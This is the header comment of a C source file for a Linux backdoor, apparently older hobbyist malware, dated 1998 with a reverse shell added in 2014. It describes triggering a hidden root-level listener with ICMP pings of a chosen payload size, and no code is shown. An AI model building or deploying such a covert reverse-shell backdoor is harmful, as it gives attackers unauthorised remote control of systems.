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/* 
 * Linux backdoor using ICMP technique
 * Coded by jamez - jamez#sekure.org (Sep 13, 1998)
 * Reverse shell functionality added by Mihai Sbirneciu - mihai.sbirneciu#gmail.com (Nov 17, 2014)
 * Special thanks to Alexander G. for bringing this gem to my attention.
 * You must run the backdoor as root to be able to sniff ICMP:    
 *  ./backdoor packet_size
 *                  |
 *                  `-> ICMP payload size required to activate the backdoor 
 *  
 *  To activate the backdoor: ping host -s packet_size
 *  
 * http://www.sekure.org
 * http://speknet.tumblr.com/
 * 
 *
 */